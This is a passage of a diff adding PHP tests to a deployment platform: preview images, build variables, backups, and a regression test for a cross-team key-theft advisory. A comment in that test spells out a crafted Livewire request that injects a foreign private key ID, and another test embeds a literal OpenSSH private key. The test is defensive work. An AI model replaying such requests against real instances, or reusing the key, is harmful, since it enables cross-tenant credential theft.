->assertJson(['message' => 'Preview not found.']);
|
||||
});
|
||||
|
||||
test('returns 422 when pull_request_id is not a positive integer', function () {
|
||||
$response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
|
||||
->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/0");
|
||||
|
||||
$response->assertStatus(422)
|
||||
->assertJson(['message' => 'Invalid pull_request_id.']);
|
||||
});
|
||||
|
||||
test('soft-deletes the preview and returns 200 on success', function () {
|
||||
$preview = createPreview($this->application, 42);
|
||||
|
||||
$response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
|
||||
->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42");
|
||||
|
||||
$response->assertOk()
|
||||
->assertJson(['message' => 'Preview deletion request queued.']);
|
||||
|
||||
expect($preview->fresh()->trashed())->toBeTrue();
|
||||
});
|
||||
|
||||
test('returns 403 when token lacks write ability', function () {
|
||||
$readOnlyToken = createTeamApiToken($this->user, $this->team, ['read']);
|
||||
createPreview($this->application, 7);
|
||||
|
||||
$response = $this->withHeaders(previewAuthHeaders($readOnlyToken))
|
||||
->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/7");
|
||||
|
||||
$response->assertForbidden();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,126 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
|
||||
function makePreviewImageNameJob(string $commit, int $pullRequestId = 42, ?string $registryImageName = null, string $deploymentUuid = 'deployment-uuid'): object
|
||||
{
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = $reflection->newInstanceWithoutConstructor();
|
||||
|
||||
$application = new Application;
|
||||
$application->uuid = 'preview-app';
|
||||
$application->build_pack = 'dockerfile';
|
||||
$application->dockerfile = null;
|
||||
$application->docker_registry_image_name = $registryImageName;
|
||||
|
||||
foreach ([
|
||||
'application' => $application,
|
||||
'pull_request_id' => $pullRequestId,
|
||||
'commit' => $commit,
|
||||
'deployment_uuid' => $deploymentUuid,
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $reflection->getProperty($property);
|
||||
$reflectionProperty->setAccessible(true);
|
||||
$reflectionProperty->setValue($job, $value);
|
||||
}
|
||||
|
||||
return $job;
|
||||
}
|
||||
|
||||
function generatePreviewImageNames(object $job): array
|
||||
{
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $reflection->getMethod('generate_image_names');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
$buildImageName = $reflection->getProperty('build_image_name');
|
||||
$buildImageName->setAccessible(true);
|
||||
|
||||
$productionImageName = $reflection->getProperty('production_image_name');
|
||||
$productionImageName->setAccessible(true);
|
||||
|
||||
return [
|
||||
'build' => $buildImageName->getValue($job),
|
||||
'production' => $productionImageName->getValue($job),
|
||||
];
|
||||
}
|
||||
|
||||
it('includes the pull request id and commit in preview image names', function () {
|
||||
$names = generatePreviewImageNames(makePreviewImageNameJob(
|
||||
commit: '111222333444555666777888999000aaabbbccc1',
|
||||
pullRequestId: 123,
|
||||
));
|
||||
|
||||
expect($names['production'])->toBe('preview-app:pr-123-111222333444555666777888999000aaabbbccc1')
|
||||
->and($names['build'])->toBe('preview-app:pr-123-111222333444555666777888999000aaabbbccc1-build');
|
||||
});
|
||||
|
||||
it('generates different preview image names for different commits on the same pull request', function () {
|
||||
$firstCommitNames = generatePreviewImageNames(makePreviewImageNameJob(
|
||||
commit: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
pullRequestId: 123,
|
||||
));
|
||||
$secondCommitNames = generatePreviewImageNames(makePreviewImageNameJob(
|
||||
commit: 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
pullRequestId: 123,
|
||||
));
|
||||
|
||||
expect($firstCommitNames['production'])->not->toBe($secondCommitNames['production'])
|
||||
->and($firstCommitNames['build'])->not->toBe($secondCommitNames['build']);
|
||||
});
|
||||
|
||||
it('uses the deployment uuid for preview image names when commit is HEAD', function () {
|
||||
$firstDeploymentNames = generatePreviewImageNames(makePreviewImageNameJob(
|
||||
commit: 'HEAD',
|
||||
pullRequestId: 123,
|
||||
deploymentUuid: 'deployment-one',
|
||||
));
|
||||
$secondDeploymentNames = generatePreviewImageNames(makePreviewImageNameJob(
|
||||
commit: 'HEAD',
|
||||
pullRequestId: 123,
|
||||
deploymentUuid: 'deployment-two',
|
||||
));
|
||||
|
||||
expect($firstDeploymentNames['production'])->toBe('preview-app:pr-123-deployment-one')
|
||||
->and($firstDeploymentNames['build'])->toBe('preview-app:pr-123-deployment-one-build')
|
||||
->and($secondDeploymentNames['production'])->toBe('preview-app:pr-123-deployment-two')
|
||||
->and($secondDeploymentNames['build'])->toBe('preview-app:pr-123-deployment-two-build');
|
||||
});
|
||||
|
||||
it('uses the configured registry image name for commit-specific preview tags', function () {
|
||||
$names = generatePreviewImageNames(makePreviewImageNameJob(
|
||||
commit: '111222333444555666777888999000aaabbbccc1',
|
||||
pullRequestId: 123,
|
||||
registryImageName: 'registry.example.com/team/app',
|
||||
));
|
||||
|
||||
expect($names['production'])->toBe('registry.example.com/team/app:pr-123-111222333444555666777888999000aaabbbccc1')
|
||||
->and($names['build'])->toBe('registry.example.com/team/app:pr-123-111222333444555666777888999000aaabbbccc1-build');
|
||||
});
|
||||
|
||||
it('sanitizes and truncates preview image tags to docker tag limits', function () {
|
||||
$names = generatePreviewImageNames(makePreviewImageNameJob(
|
||||
commit: str_repeat('feature/add dockerfile changes/', 10),
|
||||
pullRequestId: 123,
|
||||
));
|
||||
|
||||
$productionTag = str($names['production'])->after(':')->toString();
|
||||
$buildTag = str($names['build'])->after(':')->toString();
|
||||
|
||||
expect(strlen($productionTag))->toBeLessThanOrEqual(128)
|
||||
->and(strlen($buildTag))->toBeLessThanOrEqual(128)
|
||||
->and($productionTag)->toMatch('/^pr-123-[A-Za-z0-9_.-]+$/')
|
||||
->and($buildTag)->toMatch('/^pr-123-[A-Za-z0-9_.-]+-build$/');
|
||||
});
|
||||
|
||||
it('keeps non-preview dockerfile image names commit based', function () {
|
||||
$names = generatePreviewImageNames(makePreviewImageNameJob(
|
||||
commit: '111222333444555666777888999000aaabbbccc1',
|
||||
pullRequestId: 0,
|
||||
));
|
||||
|
||||
expect($names['production'])->toBe('preview-app:111222333444555666777888999000aaabbbccc1')
|
||||
->and($names['build'])->toBe('preview-app:111222333444555666777888999000aaabbbccc1-build');
|
||||
});
|
||||
@@ -0,0 +1,150 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
describe('Application Railpack Support', function () {
|
||||
beforeEach(function () {
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
});
|
||||
|
||||
test('could_set_build_commands returns true for railpack', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'build_pack' => 'railpack',
|
||||
]);
|
||||
|
||||
expect($application->could_set_build_commands())->toBeTrue();
|
||||
});
|
||||
|
||||
test('could_set_build_commands returns true for nixpacks', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'build_pack' => 'nixpacks',
|
||||
]);
|
||||
|
||||
expect($application->could_set_build_commands())->toBeTrue();
|
||||
});
|
||||
|
||||
test('could_set_build_commands returns false for dockerfile', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'build_pack' => 'dockerfile',
|
||||
]);
|
||||
|
||||
expect($application->could_set_build_commands())->toBeFalse();
|
||||
});
|
||||
|
||||
test('railpack_environment_variables returns only RAILPACK_ prefixed vars', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'build_pack' => 'railpack',
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'RAILPACK_NODE_VERSION',
|
||||
'value' => '20',
|
||||
'is_buildtime' => true,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'REGULAR_VAR',
|
||||
'value' => 'value',
|
||||
'is_buildtime' => false,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'NIXPACKS_NODE_VERSION',
|
||||
'value' => '18',
|
||||
'is_buildtime' => true,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$railpackVars = $application->railpack_environment_variables;
|
||||
expect($railpackVars)->toHaveCount(1);
|
||||
expect($railpackVars->first()->key)->toBe('RAILPACK_NODE_VERSION');
|
||||
});
|
||||
|
||||
test('runtime_environment_variables excludes RAILPACK_ and NIXPACKS_ prefixed vars', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'build_pack' => 'railpack',
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'RAILPACK_NODE_VERSION',
|
||||
'value' => '20',
|
||||
'is_buildtime' => true,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'NIXPACKS_NODE_VERSION',
|
||||
'value' => '18',
|
||||
'is_buildtime' => true,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'APP_ENV',
|
||||
'value' => 'production',
|
||||
'is_buildtime' => false,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$runtimeVars = $application->runtime_environment_variables;
|
||||
expect($runtimeVars)->toHaveCount(1);
|
||||
expect($runtimeVars->first()->key)->toBe('APP_ENV');
|
||||
});
|
||||
|
||||
test('railpack_environment_variables_preview returns only RAILPACK_ prefixed preview vars', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'build_pack' => 'railpack',
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'RAILPACK_BUILD_CMD',
|
||||
'value' => 'npm run build',
|
||||
'is_buildtime' => true,
|
||||
'is_preview' => true,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'REGULAR_VAR',
|
||||
'value' => 'value',
|
||||
'is_buildtime' => false,
|
||||
'is_preview' => true,
|
||||
]);
|
||||
|
||||
$previewVars = $application->railpack_environment_variables_preview;
|
||||
expect($previewVars)->toHaveCount(1);
|
||||
expect($previewVars->first()->key)->toBe('RAILPACK_BUILD_CMD');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,60 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\General;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
describe('Application Redirect', function () {
|
||||
test('setRedirect persists the redirect value to the database', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'fqdn' => 'https://example.com,https://www.example.com',
|
||||
'redirect' => 'both',
|
||||
]);
|
||||
|
||||
Livewire::test(General::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->set('redirect', 'www')
|
||||
->call('setRedirect')
|
||||
->assertDispatched('success');
|
||||
|
||||
$application->refresh();
|
||||
expect($application->redirect)->toBe('www');
|
||||
});
|
||||
|
||||
test('setRedirect rejects www redirect when no www domain exists', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'fqdn' => 'https://example.com',
|
||||
'redirect' => 'both',
|
||||
]);
|
||||
|
||||
Livewire::test(General::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->set('redirect', 'www')
|
||||
->call('setRedirect')
|
||||
->assertDispatched('error');
|
||||
|
||||
$application->refresh();
|
||||
expect($application->redirect)->toBe('both');
|
||||
});
|
||||
});
|
||||
@@ -6,7 +6,7 @@ use App\Models\ApplicationSetting;
|
||||
describe('Application Rollback', function () {
|
||||
beforeEach(function () {
|
||||
$this->application = new Application;
|
||||
$this->application->forceFill([
|
||||
$this->application->fill([
|
||||
'uuid' => 'test-app-uuid',
|
||||
'git_commit_sha' => 'HEAD',
|
||||
]);
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use Database\Seeders\ApplicationSeeder;
|
||||
use Database\Seeders\GithubAppSeeder;
|
||||
use Database\Seeders\PrivateKeySeeder;
|
||||
use Database\Seeders\ProjectSeeder;
|
||||
use Database\Seeders\ServerSeeder;
|
||||
use Database\Seeders\StandaloneDockerSeeder;
|
||||
use Database\Seeders\TeamSeeder;
|
||||
use Database\Seeders\UserSeeder;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('seeds the default applications without railpack examples', function () {
|
||||
$this->seed([
|
||||
UserSeeder::class,
|
||||
TeamSeeder::class,
|
||||
PrivateKeySeeder::class,
|
||||
ServerSeeder::class,
|
||||
ProjectSeeder::class,
|
||||
StandaloneDockerSeeder::class,
|
||||
GithubAppSeeder::class,
|
||||
ApplicationSeeder::class,
|
||||
]);
|
||||
|
||||
$nixpacksExample = Application::where('uuid', 'nodejs')->first();
|
||||
|
||||
expect($nixpacksExample)
|
||||
->not->toBeNull()
|
||||
->and($nixpacksExample->name)->toBe('NodeJS Fastify Example')
|
||||
->and($nixpacksExample->build_pack)->toBe('nixpacks')
|
||||
->and($nixpacksExample->base_directory)->toBe('/nodejs')
|
||||
->and($nixpacksExample->ports_exposes)->toBe('3000');
|
||||
|
||||
expect(Application::query()->where('build_pack', 'railpack')->exists())->toBeFalse();
|
||||
expect(Application::query()->whereIn('uuid', ['railpack-nodejs', 'railpack-static'])->exists())->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,42 @@
|
||||
<?php
|
||||
|
||||
function renderApplicationServerStatusBadge(?bool $serverStatus, string $status = 'running', bool $hasAdditionalServers = false): string
|
||||
{
|
||||
$application = new class($serverStatus, $status, $hasAdditionalServers)
|
||||
{
|
||||
public function __construct(
|
||||
public ?bool $server_status,
|
||||
public string $status,
|
||||
private bool $hasAdditionalServers,
|
||||
) {}
|
||||
|
||||
public function additional_servers(): object
|
||||
{
|
||||
return new class($this->hasAdditionalServers)
|
||||
{
|
||||
public function __construct(private bool $exists) {}
|
||||
|
||||
public function exists(): bool
|
||||
{
|
||||
return $this->exists;
|
||||
}
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
return view('livewire.project.application.server-status-badge', [
|
||||
'application' => $application,
|
||||
])->render();
|
||||
}
|
||||
|
||||
it('does not show the unreachable server badge when server status is unknown', function () {
|
||||
$html = renderApplicationServerStatusBadge(null);
|
||||
|
||||
expect($html)->not->toContain('One or more servers are unreachable or misconfigured.');
|
||||
});
|
||||
|
||||
it('shows the unreachable server badge only when server status is false', function () {
|
||||
$html = renderApplicationServerStatusBadge(false);
|
||||
|
||||
expect($html)->toContain('One or more servers are unreachable or misconfigured.');
|
||||
});
|
||||
@@ -0,0 +1,127 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\Source;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\GithubApp;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
|
||||
use Livewire\Livewire;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
/**
|
||||
* Create a PrivateKey without firing model events. The PrivateKey `saving`
|
||||
* hook validates/fingerprints real key material and the `saved` hook writes
|
||||
* to the filesystem — neither is wanted in a unit test. Skipping events also
|
||||
* skips BaseModel's uuid generation, so the uuid is set explicitly here (it
|
||||
* is not in $fillable, so it cannot go through mass assignment).
|
||||
*/
|
||||
function makePrivateKey(string $name, string $material, string $fingerprint, int $teamId): PrivateKey
|
||||
{
|
||||
return PrivateKey::withoutEvents(function () use ($name, $material, $fingerprint, $teamId) {
|
||||
$key = new PrivateKey([
|
||||
'name' => $name,
|
||||
'private_key' => "-----BEGIN OPENSSH PRIVATE KEY-----\n{$material}\n-----END OPENSSH PRIVATE KEY-----",
|
||||
'fingerprint' => $fingerprint,
|
||||
'team_id' => $teamId,
|
||||
]);
|
||||
$key->uuid = (string) new Cuid2;
|
||||
$key->save();
|
||||
|
||||
return $key;
|
||||
});
|
||||
}
|
||||
|
||||
beforeEach(function () {
|
||||
// handleError() turns a ModelNotFoundException into abort(404); rendering the 404
|
||||
// page reads InstanceSettings::get(), which findOrFail(0)s. Seed the singleton row.
|
||||
// `id` is not in $fillable, so it must be set outside of mass assignment.
|
||||
if (! InstanceSettings::find(0)) {
|
||||
$settings = new InstanceSettings;
|
||||
$settings->id = 0;
|
||||
$settings->save();
|
||||
}
|
||||
|
||||
// Team A — the attacker
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->teamA->members()->attach($this->userA->id, ['role' => 'owner']);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
$this->applicationA = Application::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'private_key_id' => null,
|
||||
'source_id' => null,
|
||||
'source_type' => null,
|
||||
]);
|
||||
|
||||
// Team B — the victim (holds the secrets we are trying to steal)
|
||||
$this->teamB = Team::factory()->create();
|
||||
|
||||
$this->victimPrivateKey = makePrivateKey('victim-ssh-key', 'VICTIM_KEY_MATERIAL', 'victim-fingerprint', $this->teamB->id);
|
||||
|
||||
$this->victimGithubApp = GithubApp::create([
|
||||
'name' => 'victim-github-app',
|
||||
'team_id' => $this->teamB->id,
|
||||
'private_key_id' => $this->victimPrivateKey->id,
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'is_public' => false,
|
||||
]);
|
||||
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
test('setPrivateKey rejects a PrivateKey owned by another team (GHSA-xrvp-4pp4-8rrw)', function () {
|
||||
Livewire::test(Source::class, ['application' => $this->applicationA])
|
||||
->call('setPrivateKey', $this->victimPrivateKey->id);
|
||||
|
||||
$this->applicationA->refresh();
|
||||
expect($this->applicationA->private_key_id)->not->toBe($this->victimPrivateKey->id);
|
||||
expect($this->applicationA->private_key_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('setPrivateKey accepts a PrivateKey owned by the current team', function () {
|
||||
$ownKey = makePrivateKey('own-ssh-key', 'OWN_KEY_MATERIAL', 'own-fingerprint', $this->teamA->id);
|
||||
|
||||
Livewire::test(Source::class, ['application' => $this->applicationA])
|
||||
->call('setPrivateKey', $ownKey->id);
|
||||
|
||||
$this->applicationA->refresh();
|
||||
expect($this->applicationA->private_key_id)->toBe($ownKey->id);
|
||||
});
|
||||
|
||||
test('changeSource rejects a GithubApp owned by another team (GHSA-xrvp-4pp4-8rrw)', function () {
|
||||
Livewire::test(Source::class, ['application' => $this->applicationA])
|
||||
->call('changeSource', $this->victimGithubApp->id, GithubApp::class);
|
||||
|
||||
$this->applicationA->refresh();
|
||||
expect($this->applicationA->source_id)->not->toBe($this->victimGithubApp->id);
|
||||
expect($this->applicationA->source_type)->not->toBe(GithubApp::class);
|
||||
});
|
||||
|
||||
test('changeSource rejects an arbitrary class as source_type', function () {
|
||||
Livewire::test(Source::class, ['application' => $this->applicationA])
|
||||
->call('changeSource', $this->victimGithubApp->id, Server::class);
|
||||
|
||||
$this->applicationA->refresh();
|
||||
expect($this->applicationA->source_type)->not->toBe(Server::class);
|
||||
});
|
||||
|
||||
test('privateKeyId is locked so submit() cannot persist a client-supplied foreign id', function () {
|
||||
// Without #[Locked], an attacker could POST {"updates": {"privateKeyId": <foreign_id>},
|
||||
// "calls": [{"method": "submit"}]} and have syncData(true) write the foreign id through
|
||||
// Application::update(['private_key_id' => $this->privateKeyId]) — bypassing setPrivateKey()
|
||||
// and its team-scoped lookup entirely. Locking the property closes that path at the wire layer.
|
||||
Livewire::test(Source::class, ['application' => $this->applicationA])
|
||||
->set('privateKeyId', $this->victimPrivateKey->id);
|
||||
})->throws(CannotUpdateLockedPropertyException::class);
|
||||
@@ -24,12 +24,23 @@ beforeEach(function () {
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function applicationSourceValidPrivateKey(): string
|
||||
{
|
||||
return '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----';
|
||||
}
|
||||
|
||||
describe('Application Source with localhost key (id=0)', function () {
|
||||
test('renders deploy key section when private_key_id is 0', function () {
|
||||
$privateKey = PrivateKey::create([
|
||||
'id' => 0,
|
||||
'name' => 'localhost',
|
||||
'private_key' => 'test-key-content',
|
||||
'private_key' => applicationSourceValidPrivateKey(),
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
@@ -56,4 +67,19 @@ describe('Application Source with localhost key (id=0)', function () {
|
||||
->assertDontSee('Deploy Key')
|
||||
->assertSee('No source connected');
|
||||
});
|
||||
|
||||
test('dispatches configuration changed when source settings are saved', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'git_repository' => 'coollabsio/coolify',
|
||||
'git_branch' => 'main',
|
||||
'git_commit_sha' => 'HEAD',
|
||||
]);
|
||||
|
||||
Livewire::test(Source::class, ['application' => $application])
|
||||
->set('gitBranch', 'next')
|
||||
->call('submit')
|
||||
->assertHasNoErrors()
|
||||
->assertDispatched('configurationChanged');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,85 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\BackupEdit;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
function createBackupForEditValidationTest(Team $team, array $overrides = []): ScheduledDatabaseBackup
|
||||
{
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
$database = StandalonePostgresql::create([
|
||||
'name' => 'pg-backup-edit-validation',
|
||||
'image' => 'postgres:16-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
return ScheduledDatabaseBackup::create(array_merge([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => null,
|
||||
'database_type' => $database->getMorphClass(),
|
||||
'database_id' => $database->id,
|
||||
'team_id' => $team->id,
|
||||
], $overrides));
|
||||
}
|
||||
|
||||
beforeEach(function () {
|
||||
if (InstanceSettings::find(0) === null) {
|
||||
$settings = new InstanceSettings;
|
||||
$settings->id = 0;
|
||||
$settings->save();
|
||||
}
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
it('disables S3 backup when saved without a selected S3 storage', function () {
|
||||
$backup = createBackupForEditValidationTest($this->team);
|
||||
|
||||
Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 's3s' => $this->team->s3s])
|
||||
->call('submit')
|
||||
->assertDispatched('success');
|
||||
|
||||
$backup->refresh();
|
||||
expect($backup->save_s3)->toBeFalsy();
|
||||
expect($backup->s3_storage_id)->toBeNull();
|
||||
});
|
||||
|
||||
it('cascades to disabling local backup deletion when S3 is force-disabled', function () {
|
||||
$backup = createBackupForEditValidationTest($this->team, [
|
||||
'disable_local_backup' => true,
|
||||
]);
|
||||
|
||||
Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 's3s' => $this->team->s3s])
|
||||
->call('submit')
|
||||
->assertDispatched('success');
|
||||
|
||||
$backup->refresh();
|
||||
expect($backup->save_s3)->toBeFalsy();
|
||||
expect($backup->s3_storage_id)->toBeNull();
|
||||
expect($backup->disable_local_backup)->toBeFalsy();
|
||||
});
|
||||
@@ -0,0 +1,252 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\CleanupInstanceStuffsJob;
|
||||
use App\Jobs\DatabaseBackupJob;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\ScheduledDatabaseBackupExecution;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Queue\Middleware\WithoutOverlapping;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
// --- WithoutOverlapping middleware on DatabaseBackupJob ---
|
||||
|
||||
test('database backup job has WithoutOverlapping middleware keyed by backup id', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => false,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
$middleware = $job->middleware();
|
||||
|
||||
expect($middleware)->toHaveCount(1);
|
||||
expect($middleware[0])->toBeInstanceOf(WithoutOverlapping::class);
|
||||
});
|
||||
|
||||
test('database backup job middleware uses custom timeout plus buffer', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => false,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
'timeout' => 7200,
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
$middleware = $job->middleware();
|
||||
|
||||
$reflection = new ReflectionClass($middleware[0]);
|
||||
$expiresAfterProp = $reflection->getProperty('expiresAfter');
|
||||
$releaseAfterProp = $reflection->getProperty('releaseAfter');
|
||||
|
||||
expect($expiresAfterProp->getValue($middleware[0]))->toBe(7500); // 7200 + 300
|
||||
expect($releaseAfterProp->getValue($middleware[0]))->toBeNull(); // dontRelease sets to null
|
||||
});
|
||||
|
||||
// --- Stale backup detection in DatabaseBackupJob ---
|
||||
|
||||
